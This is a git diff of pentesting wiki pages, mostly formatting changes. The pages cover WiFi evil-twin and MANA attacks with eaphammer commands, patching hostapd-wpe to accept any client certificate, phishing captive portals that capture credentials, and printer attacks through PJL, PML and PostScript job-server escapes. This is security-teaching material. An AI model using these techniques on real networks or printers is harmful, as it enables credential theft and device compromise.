beacons faking ESSIDs of each name inside a wordlist. Hopefully the victim will contains some of theses ESSID names inside its PNL and will try to connect to the fake AP.\ +Eaphammer implemented this attack as a MANA attack where all the ESSIDs inside a list are charged (you could also combine this with `--loud` to create a Loud MANA + Known beacons attack): -```text +``` ./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds] ``` @@ -719,7 +720,7 @@ Eaphammer implemented this attack as a MANA attack where all the ESSIDs inside As known beacons are loud. You can use a script inside Eaphammer project to just launch beacouns of every ESSID name inside a file very quickly. If you combines this script with a Eaphammer MANA attack, the clients will be able to connect to your AP. -```text +``` # transmit a burst of 5 forged beacon packets for each entry in list ./forge-beacons -i wlan1 \ --bssid de:ad:be:ef:13:37 \ @@ -735,10 +736,10 @@ As known beacons are loud. You can use a script inside Eaphammer project to just This tool automates **WPS/WEP/WPA-PSK** attacks. It will automatically: * Set the interface in monitor mode -* Scan for possible networks - And let you select the victim\(s\) +* Scan for possible networks - And let you select the victim(s) * If WEP - Launch WEP attacks * If WPA-PSK - * If WPS: Pixie dust attack and the bruteforce attack \(be careful the brute-force attack could take a long time\). Notice that it doesn't try null PIN or database/generated PINs. + * If WPS: Pixie dust attack and the bruteforce attack (be careful the brute-force attack could take a long time). Notice that it doesn't try null PIN or database/generated PINs. * Try to capture the PMKID from the AP to crack it * Try to deauthenticate clients of the AP to capture a handshake * If PMKID or Handshake, try to bruteforce using top5000 passwords. @@ -754,5 +755,4 @@ This tool automates **WPS/WEP/WPA-PSK** attacks. It will automatically: * [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/) * [https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d](https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d) -TODO: Take a look to [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) \(login con facebook e imitacionde WPA en captive portals\) - +TODO: Take a look to [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login con facebook e imitacionde WPA en captive portals) diff --git a/pentesting/pentesting-network/wifi-attacks/evil-twin-eap-tls.md b/pentesting/pentesting-network/wifi-attacks/evil-twin-eap-tls.md index 083a02d3..fc6f5ad6 100644 --- a/pentesting/pentesting-network/wifi-attacks/evil-twin-eap-tls.md +++ b/pentesting/pentesting-network/wifi-attacks/evil-twin-eap-tls.md @@ -1,12 +1,12 @@ # Evil Twin EAP-TLS -At some point I needed to use the proposed solution by the post bellow but the steps in [https://github.com/OpenSecurityResearch/hostapd-wpe](https://github.com/OpenSecurityResearch/hostapd-wpe) wasn't working in modern kali \(2019v3\) anymore. -Anyway, it's easy to make them work. +At some point I needed to use the proposed solution by the post bellow but the steps in [https://github.com/OpenSecurityResearch/hostapd-wpe](https://github.com/OpenSecurityResearch/hostapd-wpe) wasn't working in modern kali (2019v3) anymore.\ +Anyway, it's easy to make them work. \ You only need to download the hostapd-2.6 from here: [https://w1.fi/releases/](https://w1.fi/releases/) and before compiling again hostapd-wpe install: `apt-get install libssl1.0-dev` ## Evil Twin for EAP-TLS -**This post was copied from** [**https://versprite.com/blog/application-security/eap-tls-wireless-infrastructure/**](https://versprite.com/blog/application-security/eap-tls-wireless-infrastructure/)\*\*\*\* +**This post was copied from **[**https://versprite.com/blog/application-security/eap-tls-wireless-infrastructure/**](https://versprite.com/blog/application-security/eap-tls-wireless-infrastructure/)**** ### The Uncommon Case: Attacking EAP-TLS @@ -36,29 +36,29 @@ In both scenarios, we first need to understand where the certificate control is After a quick analysis of the source code, we found the following: -**Original Source Code File: hostapd-2.6/src/eap\_server/eap\_server\_tls.c** +**Original Source Code File: hostapd-2.6/src/eap_server/eap_server_tls.c** -![eap\_server\_tls\_ssl\_init](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.20.41-PM.png) +![eap_server_tls_ssl_init](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.20.41-PM.png) -As you can see in the code above \(line 80\), the EAP TLS server implementation on hostapd invokes a custom function named eap\_server\_tls\_ssl\_init to initialize the server, and the third parameter is set to 1. +As you can see in the code above (line 80), the EAP TLS server implementation on hostapd invokes a custom function named eap_server_tls_ssl_init to initialize the server, and the third parameter is set to 1. -**Original Source Code File: hostapd-2.6/src/eap\_server/eap\_server\_tls\_common.c** +**Original Source Code File: hostapd-2.6/src/eap_server/eap_server_tls_common.c** -![tls\_connection\_set\_verify-1](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.27.49-PM.png) +![tls_connection_set_verify-1](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.27.49-PM.png) -![tls\_connection\_set\_verify-2](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.28.02-PM.png) +![tls_connection_set_verify-2](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.28.02-PM.png) -In the code above \(lines from 78 to 80\), we can observe the invocation of the function `tls_connection_set_verify` with the parameter `verify_peer` set to 1 \(this was received from the `eap_tls_init function`\). +In the code above (lines from 78 to 80), we can observe the invocation of the function `tls_connection_set_verify` with the parameter `verify_peer` set to 1 (this was received from the `eap_tls_init function`). -**Original Source Code File: hostapd-2.6/src/crypto/tls\_openssl.c** +**Original Source Code File: hostapd-2.6/src/crypto/tls_openssl.c** -![verify\_peer](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.32.53-PM.png) +![verify_peer](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.32.53-PM.png) -On the code above \(from line 2307 to 2309\), we can observe that the parameter `verify_peer` \(originally set to 1\) will be eventually used as a parameter of the OpenSSL function SSL\_set\_verify to make it validate the client certificate or not when the library is working as a server. By modifying the original line to 0, we can change the behavior of the tool and make it ignore whether the client certificate is valid or not. +On the code above (from line 2307 to 2309), we can observe that the parameter `verify_peer` (originally set to 1) will be eventually used as a parameter of the OpenSSL function SSL_set_verify to make it validate the client certificate or not when the library is working as a server. By modifying the original line to 0, we can change the behavior of the tool and make it ignore whether the client certificate is valid or not. -**Modified Source Code File: hostapd-2.6/src/eap\_server/eap\_server\_tls.c** +**Modified Source Code File: hostapd-2.6/src/eap_server/eap_server_tls.c** -![eap\_tls\_init](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.34.01-PM.png) +![eap_tls_init](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.34.01-PM.png) After patching the source code of hostapd-wpe and recompiling, we tried the attack again and got the following output: @@ -74,17 +74,17 @@ Now that we have all the elements, let’s perform the attack against a victim a ![airodump-ng](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.35.48-PM.png) -From the output, we can identify the access point BSSID \(F4:EC:38:FA:E7:57\) to which our victim \(00:0F:60:07:95:D7\) is connected to the WPA2-enterprise network named “enterprise” \(ESSID\). +From the output, we can identify the access point BSSID (F4:EC:38:FA:E7:57) to which our victim (00:0F:60:07:95:D7) is connected to the WPA2-enterprise network named “enterprise” (ESSID). #### 2. Run the modified hostapd-wpe tool to create a fake AP for the target network ![modified modified hostapd-wpe](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.36.29-PM.png) -#### 3. Customize the captive portal template \(e.g. HTML login\) to make it familiar for your target audience \(victims\) and run it +#### 3. Customize the captive portal template (e.g. HTML login) to make it familiar for your target audience (victims) and run it ![Customize the captive portal](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.37.02-PM.png) -#### 4. Perform a de-auth attack and assume the risk \(if you are impatient\) +#### 4. Perform a de-auth attack and assume the risk (if you are impatient) ![de-auth attack](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.37.36-PM.png) @@ -92,7 +92,7 @@ As a result, we will see on the modified hostapd-wpe tool’s output the followi ![victim connected](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.38.09-PM.png) -This suggests a victim \(00:0f:60:07:95:d7\) has connected to our fake AP. +This suggests a victim (00:0f:60:07:95:d7) has connected to our fake AP. On the victim’s Windows host, we observe it automatically connected to the fake AP, and as soon as web navigation is tried, the user is presented the captive portal: @@ -110,11 +110,9 @@ The following screenshot shows the captive portal presented to the iPhone device ![iphone credentials](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.39.19-PM.png) -Note: The Captive Portal HTML template drafted for this demo is just a Proof-of-Concept sample, and I encourage you to develop your own, including HTML tags searching for files on the network that allows you to capture NetNTLM hashes \(if the victim is using Internet Explorer\), as long as others more sophisticated that requires the user to download a binary on the computer to scan for issues before allowing access to the network. +Note: The Captive Portal HTML template drafted for this demo is just a Proof-of-Concept sample, and I encourage you to develop your own, including HTML tags searching for files on the network that allows you to capture NetNTLM hashes (if the victim is using Internet Explorer), as long as others more sophisticated that requires the user to download a binary on the computer to scan for issues before allowing access to the network. Although we can read different online articles stating that EAP-TLS is the most secure implementation for Wireless infrastructures, it is not used by most companies due to its scalability problems: the complexity of creating, delivering, configuring, and revoking a unique certificate per user. The whole security of this scheme relies, again, on the weakest link in the chain, which might be a device or host configured to accept any certificate presented by the authentication server or a mobile device used by an unconscious user that accepts it without considering the risk of this action. - - diff --git a/pentesting/pentesting-printers/README.md b/pentesting/pentesting-printers/README.md index 01773b68..ef9249ff 100644 --- a/pentesting/pentesting-printers/README.md +++ b/pentesting/pentesting-printers/README.md @@ -1,56 +1,56 @@ # Pentesting Printers -Please, note that **most of the content of all the info related to** _**Pentesting Printers**_ ****was taken **from** the **huge** and **amazing research** you can find on [**http://hacking-printers.net/**](http://hacking-printers.net/). I tried to **summarise** that information here but you can always **go to the source to learn more about the topic**. +Please, note that **most of the content of all the info related to**_** Pentesting Printers**_** **was taken **from **the **huge **and **amazing research **you can find on [**http://hacking-printers.net/**](http://hacking-printers.net). I tried to **summarise **that information here but you can always **go to the source to learn more about the topic**. ## Fundamentals -A schematic relationship regarding the encapsulation of printer languages is given below: +A schematic relationship regarding the encapsulation of printer languages is given below:\ ![Encapsulation of printer languages](http://hacking-printers.net/wiki/images/thumb/1/1d/Protocols.png/500px-Protocols.png) ## Network printing protocols -**Sending data** to a printer device can be done by **USB/parallel cable** or over a **network**. This wiki focuses on network printing but most of the presented attacks can also be performed against local printers. There are various exotic protocols for network printing like Novell's [_NCP_](https://en.wikipedia.org/wiki/NetWare_Core_Protocol) or [_AppleTalk_](https://en.wikipedia.org/wiki/AppleTalk). In the Windows world, _SMB/CIFS_ printer shares have become quite popular. Furthermore, some devices support printing over generic protocols such as _FTP_ or _HTTP_ file uploads. The **most common printing protocols** supported directly by **network** printers however are _**LPD**_**,** _**IPP**_**, and** _**raw port 9100**_ printing. **Network printing protocols can be attacked directly**, for example by exploiting a buffer overflow in the printer's LPD daemon. In many attack scenarios however, they only act as a **carrier/channel** to **deploy malicious Printer language code**. Note that a **network printer usually supports multiple protocols to ‘print’** a document which broadens the attack surface. +**Sending data **to a printer device can be done by **USB/parallel cable** or over a **network**. This wiki focuses on network printing but most of the presented attacks can also be performed against local printers. There are various exotic protocols for network printing like Novell's [_NCP_](https://en.wikipedia.org/wiki/NetWare_Core_Protocol) or [_AppleTalk_](https://en.wikipedia.org/wiki/AppleTalk). In the Windows world, _SMB/CIFS_ printer shares have become quite popular. Furthermore, some devices support printing over generic protocols such as _FTP_ or _HTTP_ file uploads. The **most common printing protocols** supported directly by **network **printers however are _**LPD**_**, **_**IPP**_**, and **_**raw port 9100** _printing. **Network printing protocols can be attacked directly**, for example by exploiting a buffer overflow in the printer's LPD daemon. In many attack scenarios however, they only act as a **carrier/channel** to **deploy malicious Printer language code**. Note that a **network printer usually supports multiple protocols to ‘print’** a document which broadens the attack surface. -### **Learn more about** [**raw port 9100 here**](../9100-pjl.md)**.** +### **Learn more about **[**raw port 9100 here**](../9100-pjl.md)**.** -### **Learn more about** [**LPD in Pentesting 515 here**](../515-pentesting-line-printer-daemon-lpd.md)**.** +### **Learn more about **[**LPD in Pentesting 515 here**](../515-pentesting-line-printer-daemon-lpd.md)**.** -### **Learn more about** [**IPP in Petesting 631 here**](../pentesting-631-internet-printing-protocol-ipp.md)**.** +### **Learn more about **[**IPP in Petesting 631 here**](../pentesting-631-internet-printing-protocol-ipp.md)**.** ## Printer Control Languages -A job control language manages settings like output trays for the current print job. While it usually sits as an optional layer in-between the printing protocol and the page description language, functions may be overlapping. Examples of vendor-specific job control languages are [CPCA](http://www.undocprint.org/formats/printer_control_languages/cpca), [XJCL](http://www.undocprint.org/formats/printer_control_languages/xjcl), [EJL](http://www.undocprint.org/formats/printer_control_languages/ejl) and **PJL** – which is supported by a variety of printers and will be discussed below. In addition, **printer control and management languages** are designed to **affect** not only a single print job but the **device** as a **whole**. One approach to define a common standard for this task was [NPAP](http://www.undocprint.org/formats/printer_control_languages/npap). However, it has not established itself and is only supported by Lexmark. Other printer manufacturers instead use SNMP or its **PJL-based** metalanguage **PML**. +A job control language manages settings like output trays for the current print job. While it usually sits as an optional layer in-between the printing protocol and the page description language, functions may be overlapping. Examples of vendor-specific job control languages are [CPCA](http://www.undocprint.org/formats/printer_control_languages/cpca), [XJCL](http://www.undocprint.org/formats/printer_control_languages/xjcl), [EJL](http://www.undocprint.org/formats/printer_control_languages/ejl) and **PJL **– which is supported by a variety of printers and will be discussed below. In addition, **printer control and management languages** are designed to **affect **not only a single print job but the **device **as a **whole**. One approach to define a common standard for this task was [NPAP](http://www.undocprint.org/formats/printer_control_languages/npap). However, it has not established itself and is only supported by Lexmark. Other printer manufacturers instead use SNMP or its** PJL-based** metalanguage **PML**. ### PJL -The Printer Job Language \(PJL\) was originally introduced by HP but soon became a de facto standard for print job control. ‘PJL resides above other printer languages’ and can be used to change settings like paper tray or size. It must however be pointed out that **PJL is not limited to the current print job as some settings can be made permanent**. PJL can also be used to **change the printer's display or read/write files on the device**. There are many dialects as vendors tend to support only a subset of the commands listed in the PJL reference and instead prefer to add proprietary ones. **PJL is further used to set the file format of the actual print data to follow**. Without such explicit language switching, the printer has to identify the page description language based on magic numbers. Typical PJL commands to set the paper size and the number of copies before switching the interpreter to PostScript mode are shown below: +The Printer Job Language (PJL) was originally introduced by HP but soon became a de facto standard for print job control. ‘PJL resides above other printer languages’ and can be used to change settings like paper tray or size. It must however be pointed out that **PJL is not limited to the current print job as some settings can be made permanent**. PJL can also be used to **change the printer's display or read/write files on the device**. There are many dialects as vendors tend to support only a subset of the commands listed in the PJL reference and instead prefer to add proprietary ones.** PJL is further used to set the file format of the actual print data to follow**. Without such explicit language switching, the printer has to identify the page description language based on magic numbers. Typical PJL commands to set the paper size and the number of copies before switching the interpreter to PostScript mode are shown below: -```text +``` @PJL SET PAPER=A4 @PJL SET COPIES=10 @PJL ENTER LANGUAGE=POSTSCRIPT ``` -Inside the ****[**page about port 9100 'raw port'**](../9100-pjl.md) ****you can find more information about **how to enumerate PJL**. +Inside the** **[**page about port 9100 'raw port'**](../9100-pjl.md)** **you can find more information about **how to enumerate PJL**. ### PML -The **Printer Management Language** \(PML\) is a proprietary language to control **HP printers**. It basically **combines** the features of **SNMP** **with PJL**. Publicly available documentation has not been released, however parts of the standard were leaked by the [LPRng](https://en.wikipedia.org/wiki/LPRng) project: the **PJL Passthrough to PML and SNMP User’s Guide** defines defines PML as ‘an object-oriented request-reply printer management protocol’ and gives an introduction to the basics of the syntax. PML is embedded within PJL and **can be used to read and set SNMP values on a printer device**. This is especially **interesting** if a **firewall blocks** access to **SNMP** services \(161/udp\). The use of PML within a print job retrieving the `hrDeviceDescr` value \(OID 1.3.6.1.2.1.25.3.2.1.3, textual description of a device\) is demonstrated below: +The **Printer Management Language** (PML) is a proprietary language to control **HP printers**. It basically **combines **the features of **SNMP** **with PJL**. Publicly available documentation has not been released, however parts of the standard were leaked by the [LPRng](https://en.wikipedia.org/wiki/LPRng) project: the **PJL Passthrough to PML and SNMP User’s Guide** defines defines PML as ‘an object-oriented request-reply printer management protocol’ and gives an introduction to the basics of the syntax. PML is embedded within PJL and **can be used to read and set SNMP values on a printer device**. This is especially **interesting **if a **firewall blocks **access to **SNMP **services (161/udp). The use of PML within a print job retrieving the `hrDeviceDescr` value (OID 1.3.6.1.2.1.25.3.2.1.3, textual description of a device) is demonstrated below: -```text +``` > @PJL DMINFO ASCIIHEX="000006030302010301" < "8000000603030201030114106870204c617365724a65742034323530 ``` -The rear part of string responded by the printer, `6870204c617365724a65742034323530` is hexadecimal for `hp LaserJet 4250`. As can be seen, it is possible to **invoke** \(a subset of\) **SNMP** **commands over PJL via PML**. A security-sensitive use of PML is to [reset HP printers to factory defaults](./#factory-defaults) via ordinary print jobs, therefore removing protection mechanisms like user-set passwords. +The rear part of string responded by the printer, `6870204c617365724a65742034323530` is hexadecimal for `hp LaserJet 4250`. As can be seen, it is possible to **invoke **(a subset of) **SNMP** **commands over PJL via PML**. A security-sensitive use of PML is to [reset HP printers to factory defaults](./#factory-defaults) via ordinary print jobs, therefore removing protection mechanisms like user-set passwords. ### UEL -The Universal Exit Language \(UEL\) actually is **not a real job control ‘language’ but a single command used to terminate the current data stream**: the escape character \(`\x1b`\), followed by `%-12345X`. It was originally introduced with HP's PCL and is **supported by most modern laser printers**. A good practice of ‘printer drivers’ is to invoke the UEL at the beginning and at the end of each print job, so interpretation of the printer language is stopped/restarted and each job has its own, separate environment as shown below: +The Universal Exit Language (UEL) actually is **not a real job control ‘language’ but a single command used to terminate the current data stream**: the escape character (`\x1b`), followed by `%-12345X`. It was originally introduced with HP's PCL and is **supported by most modern laser printers**. A good practice of ‘printer drivers’ is to invoke the UEL at the beginning and at the end of each print job, so interpretation of the printer language is stopped/restarted and each job has its own, separate environment as shown below: -```text +``` \x1b%-12345X @PJL SET PAPER=A4 @PJL ENTER LANGUAGE=PCL @@ -64,152 +64,151 @@ Otherwise, for example PJL settings like paper media size or PostScript definiti ## Page Description Languages -A **page description language** \(PDL\) specifies the **appearance of the actual document**. It must however be pointed out that some PDLs offer limited job control, so **a clear demarcation between page description and printer/job control language is not always possible**. The function of a ‘printer driver’ is to **translate** the **file** to be **printed** into a **PDL** that is **understood** by the printer model. Note that some low cost inkjet printers do not support any high level page description language at all. So called host-based or [GDI](https://en.wikipedia.org/wiki/Graphics_Device_Interface#GDI_printers) printers only accept simple bitmap datastreams like [ZJS](http://www.undocprint.org/formats/page_description_languages/zjstream) while the actual rendering is done by the printer driver. There are various proprietary page description languages like Kyocera's [PRESCRIBE](http://www.undocprint.org/formats/page_description_languages/prescribe), [SPL](http://www.undocprint.org/formats/page_description_languages/spl), [XES](http://www.undocprint.org/formats/page_description_languages/xes), [CaPSL](http://www.undocprint.org/formats/page_description_languages/capsl), [RPCS](http://www.undocprint.org/formats/page_description_languages/rpcs), [ESC/P](https://en.wikipedia.org/wiki/ESC/P) which is mostly used in dot matrix printers or [HP-GL](https://en.wikipedia.org/wiki/HPGL) and [HP-GL/2](https://en.wikipedia.org/wiki/HPGL#HP-GL.2F2) which have been designed for plotters. Support for direct [PDF](https://en.wikipedia.org/wiki/Portable_Document_Format) and [XPS](https://en.wikipedia.org/wiki/Open_XML_Paper_Specification) printing is also common on newer printers. **The most common ‘standard’ page description languages however are PostScript and PCL.** +A **page description language** (PDL) specifies the **appearance of the actual document**. It must however be pointed out that some PDLs offer limited job control, so** a clear demarcation between page description and printer/job control language is not always possible**. The function of a ‘printer driver’ is to **translate **the **file **to be **printed **into a **PDL **that is **understood **by the printer model. Note that some low cost inkjet printers do not support any high level page description language at all. So called host-based or [GDI](https://en.wikipedia.org/wiki/Graphics_Device_Interface#GDI_printers) printers only accept simple bitmap datastreams like [ZJS](http://www.undocprint.org/formats/page_description_languages/zjstream) while the actual rendering is done by the printer driver. There are various proprietary page description languages like Kyocera's [PRESCRIBE](http://www.undocprint.org/formats/page_description_languages/prescribe), [SPL](http://www.undocprint.org/formats/page_description_languages/spl), [XES](http://www.undocprint.org/formats/page_description_languages/xes), [CaPSL](http://www.undocprint.org/formats/page_description_languages/capsl), [RPCS](http://www.undocprint.org/formats/page_description_languages/rpcs), [ESC/P](https://en.wikipedia.org/wiki/ESC/P) which is mostly used in dot matrix printers or [HP-GL](https://en.wikipedia.org/wiki/HPGL) and [HP-GL/2](https://en.wikipedia.org/wiki/HPGL#HP-GL.2F2) which have been designed for plotters. Support for direct [PDF](https://en.wikipedia.org/wiki/Portable_Document_Format) and [XPS](https://en.wikipedia.org/wiki/Open_XML_Paper_Specification) printing is also common on newer printers. **The most common ‘standard’ page description languages however are PostScript and PCL.** -### PostScript \(PS\) +### PostScript (PS) -The term ‘page description’ may be misleading though, as **PostScript is capable of much more than just creating vector graphics**. PostScript is a stack-based, **Turing-complete** programming language consisting of almost 400 operators for arithmetics, stack and graphic manipulation and various data types such as arrays or dictionaries and was created by Adobe. -Technically spoken, access to a PostScript interpreter can already be classified as **code execution** because any algorithmic function can theoretically be implemented in PostScript. Certainly, without access to the network stack or additional operating system libraries, possibilities are limited to arbitrary mathematical calculations like mining bitcoins. However, PostScript is capable of basic file system I/O to store frequently used code, graphics or font files. -Originally designed as a feature, the dangers of such functionality **were limited** before printers got interconnected and risks were mainly discussed in the context of host-based PostScript interpreters. In this regard, Encapsulated PostScript \(EPS\) is also noteworthy as it can be included in other file formats to be interpreted on the host such as [LaTeX](https://en.wikipedia.org/wiki/LaTeX) documents. Like **PJL** and **PCL**, **PostScript** supports **bidirectional communication** been host and printer. +The term ‘page description’ may be misleading though, as **PostScript is capable of much more than just creating vector graphics**. PostScript is a stack-based, **Turing-complete** programming language consisting of almost 400 operators for arithmetics, stack and graphic manipulation and various data types such as arrays or dictionaries and was created by Adobe.\ +Technically spoken, access to a PostScript interpreter can already be classified as** code execution **because any algorithmic function can theoretically be implemented in PostScript. Certainly, without access to the network stack or additional operating system libraries, possibilities are limited to arbitrary mathematical calculations like mining bitcoins. However, PostScript is capable of basic file system I/O to store frequently used code, graphics or font files.\ +Originally designed as a feature, the dangers of such functionality **were limited **before printers got interconnected and risks were mainly discussed in the context of host-based PostScript interpreters. In this regard, Encapsulated PostScript (EPS) is also noteworthy as it can be included in other file formats to be interpreted on the host such as [LaTeX](https://en.wikipedia.org/wiki/LaTeX) documents. Like **PJL **and **PCL**, **PostScript **supports **bidirectional communication **been host and printer.\ Example PostScript code to echo Hello world to stdout is given below: -```text +``` %! (Hello world) print ``` -Brother and Kyocera use their own PostScript clones: **Br-Script** and **KPDL**. Such flavours of the PostScript language are not 100% compatible, especially concerning security features like exiting the server loop. PostScript can be used for a variety of attacks such as [denial of service](http://hacking-printers.net/wiki/index.php/Denial_of_service) \(for example, through infinite loops\), print job [manipulation](http://hacking-printers.net/wiki/index.php/Print_job_manipulation) and [retention](http://hacking-printers.net/wiki/index.php/Print_job_retention) as well as gaining access to the printer's [file system](http://hacking-printers.net/wiki/index.php/File_system_access). +Brother and Kyocera use their own PostScript clones: **Br-Script** and **KPDL**. Such flavours of the PostScript language are not 100% compatible, especially concerning security features like exiting the server loop. PostScript can be used for a variety of attacks such as [denial of service](http://hacking-printers.net/wiki/index.php/Denial_of_service) (for example, through infinite loops), print job [manipulation](http://hacking-printers.net/wiki/index.php/Print_job_manipulation) and [retention](http://hacking-printers.net/wiki/index.php/Print_job_retention) as well as gaining access to the printer's [file system](http://hacking-printers.net/wiki/index.php/File_system_access). #### Exiting the server loop -Normally, each print job is encapsulated in its own, separate environment. One interesting feature of **PostScript** is that a program **can circumvent print job encapsulation** and alter the initial VM for subsequent jobs. To do so, it can use either startjob, a Level 2 feature: +Normally, each print job is encapsulated in its own, separate environment. One interesting feature of **PostScript **is that a program **can circumvent print job encapsulation** and alter the initial VM for subsequent jobs. To do so, it can use either startjob, a Level 2 feature: -```text +``` true 0 startjob ``` -or exitserver \(available in all implementations that include a job server\): +or exitserver (available in all implementations that include a job server): -```text +``` serverdict begin 0 exitserver ``` -This capability is controlled by the StartJobPassword which defaults to `0` \(compare credential disclosure\). Since the job server loop is generally responsible for cleaning up the state of the interpreter between jobs, **any changes that are made outside the server loop will remain as part of the permanent state of the interpreter for all subsequent jobs**. In other words, a print job can access and alter further jobs. Bingo! +This capability is controlled by the StartJobPassword which defaults to `0` (compare credential disclosure). Since the job server loop is generally responsible for cleaning up the state of the interpreter between jobs, **any changes that are made outside the server loop will remain as part of the permanent state of the interpreter for all subsequent jobs**. In other words, a print job can access and alter further jobs. Bingo! #### Operator redefinition -When a **PostScript** document **calls** an **operator**, the **first version found** on the dictionary stack is used. Operators usually reside in the systemdict dictionary, however by placing a new version into the userdict dictionary, operators can be practically overwritten because **the user-defined version is the first one found on the dictionary stack**. Using the startjob/exitserver operators, such changes can be made permanent – at least until the printer is restarted. A scheme of the PostScript dictionary stack is given below: +When a **PostScript **document **calls **an **operator**, the **first version found **on the dictionary stack is used. Operators usually reside in the systemdict dictionary, however by placing a new version into the userdict dictionary, operators can be practically overwritten because** the user-defined version is the first one found on the dictionary stack**. Using the startjob/exitserver operators, such changes can be made permanent – at least until the printer is restarted. A scheme of the PostScript dictionary stack is given below: - +\ [![The PostScript dictionary stack](http://hacking-printers.net/wiki/images/thumb/f/ff/Dictstack.png/300px-Dictstack.png)](http://hacking-printers.net/wiki/index.php/File:Dictstack.png) - +\ The **potential impact of redefining operators** is only limited by creativity. When further legitimate documents are printed and call a redefined operator, the attackers version will be executed. This can lead to a various attacks such as [denial of service](http://hacking-printers.net/wiki/index.php/Document_processing#Showpage_redefinition), print job [retention](http://hacking-printers.net/wiki/index.php/Print_job_retention) and [manipulation](http://hacking-printers.net/wiki/index.php/Print_job_manipulation). Note however that this is not necessarily a security bug, but a 32 years old language feature, available in almost any PostScript printer and [RIP](https://en.wikipedia.org/wiki/Raster_image_processor). ### PCL PCL 3 and PCL 4 added support for fonts and macros which both can be permanently downloaded to the device – however only referenced to by a numeric id, not by a file name, as **direct access to the file system is not intended**. PCL 1 to 5 consist of escape sequences followed by one or more ASCII characters representing a command to be interpreted. PCL 6 Enhanced or ‘PCL XL’ uses a binary encoded, object-oriented protocol. An **example PCL document to print ‘Hello world’ is given below**: -```text +``` Hello world ``` -Due to its limited capabilities, PCL is **hard to exploit** from a security perspective unless one discovers interesting proprietary commands in some printer manufacturers's PCL flavour. The **PRET** tool implements a **virtual, PCL-based file system** which uses macros to **save file content and metadata in the printer's memory**. This hack shows that even a device which supports only minimalist page description languages like PCL can be used to store arbitrary files like copyright infringing material. Although turning a printer into a file sharing service is not a security vulnerability per se, it may apply as ‘misuse of service’ depending on the corporate policy. +Due to its limited capabilities, PCL is **hard to exploit** from a security perspective unless one discovers interesting proprietary commands in some printer manufacturers's PCL flavour. The **PRET **tool implements a **virtual, PCL-based file system** which uses macros to **save file content and metadata in the printer's memory**. This hack shows that even a device which supports only minimalist page description languages like PCL can be used to store arbitrary files like copyright infringing material. Although turning a printer into a file sharing service is not a security vulnerability per se, it may apply as ‘misuse of service’ depending on the corporate policy. ## Misc Attacks ### USB drive or cable -Data can be sent to and received from a local printer by [USB](https://en.wikipedia.org/wiki/USB) or [parallel](https://en.wikipedia.org/wiki/IEEE_1284) cables. Both channels are supported by **PRET** to communicate with the device. In addition, printers and MFPs often ship with Type-A USB ports which allows users to print directly from an USB device. -While plugged-in USB drives do **not offer a bidirectional channel**, their usage in a crowded copy room may seem less conspicuous. Obviously, exploiting USB printers requires the attacker to gain physical access to the device. However, it is not completely unrealistic for most institutions and companies. Gaining physical access to printer can generally be considered as less hard than it is for other network components like servers or workstations. +Data can be sent to and received from a local printer by [USB](https://en.wikipedia.org/wiki/USB) or [parallel](https://en.wikipedia.org/wiki/IEEE\_1284) cables. Both channels are supported by **PRET **to communicate with the device. In addition, printers and MFPs often ship with Type-A USB ports which allows users to print directly from an USB device.\ +While plugged-in USB drives do** not offer a bidirectional channel**, their usage in a crowded copy room may seem less conspicuous. Obviously, exploiting USB printers requires the attacker to gain physical access to the device. However, it is not completely unrealistic for most institutions and companies. Gaining physical access to printer can generally be considered as less hard than it is for other network components like servers or workstations. ### Cross-site printing -Abusing **client web request** an attacker can **abuse arbitrary printers** inside the internal network of the client connected to his malicious web page. -[**Learn how can this be possible here.**](cross-site-printing.md)\*\*\*\* +Abusing **client web request** an attacker can **abuse arbitrary printers** inside the internal network of the client connected to his malicious web page.\ +[**Learn how can this be possible here.**](cross-site-printing.md)**** ### Abusing Spooler service in AD -If you can find any **Spool service listening** inside the domain, you may be able to **abuse** is to **obtain new credentials** and **escalate privileges**. -[**More information about how to find a abuse Spooler services here.**](../../windows/active-directory-methodology/printers-spooler-service-abuse.md)\*\*\*\* +If you can find any** Spool service listening** inside the domain, you may be able to **abuse **is to **obtain new credentials** and **escalate privileges**.\ +[**More information about how to find a abuse Spooler services here.**](../../windows/active-directory-methodology/printers-spooler-service-abuse.md)**** ## Privilege Escalation ### Factory Defaults -There are several possible ways to **reset** a device to factory defaults, and this is a security-critical functionality as it **overwrites protection mechanisms** like user-set passwords. -[**Learn more here.**](factory-defaults.md)\*\*\*\* +There are several possible ways to** reset **a device to factory defaults, and this is a security-critical functionality as it **overwrites protection mechanisms **like user-set passwords.\ +[**Learn more here.**](factory-defaults.md)**** ### **Accounting Bypass** -You may be able to **impersonate existent or non-existent users** to print pages using their accounts or **manipulate** the hardware or software **counter** to be able to print more pages. -[**Learn how to do it here.**](accounting-bypass.md)\*\*\*\* +You may be able to **impersonate existent or 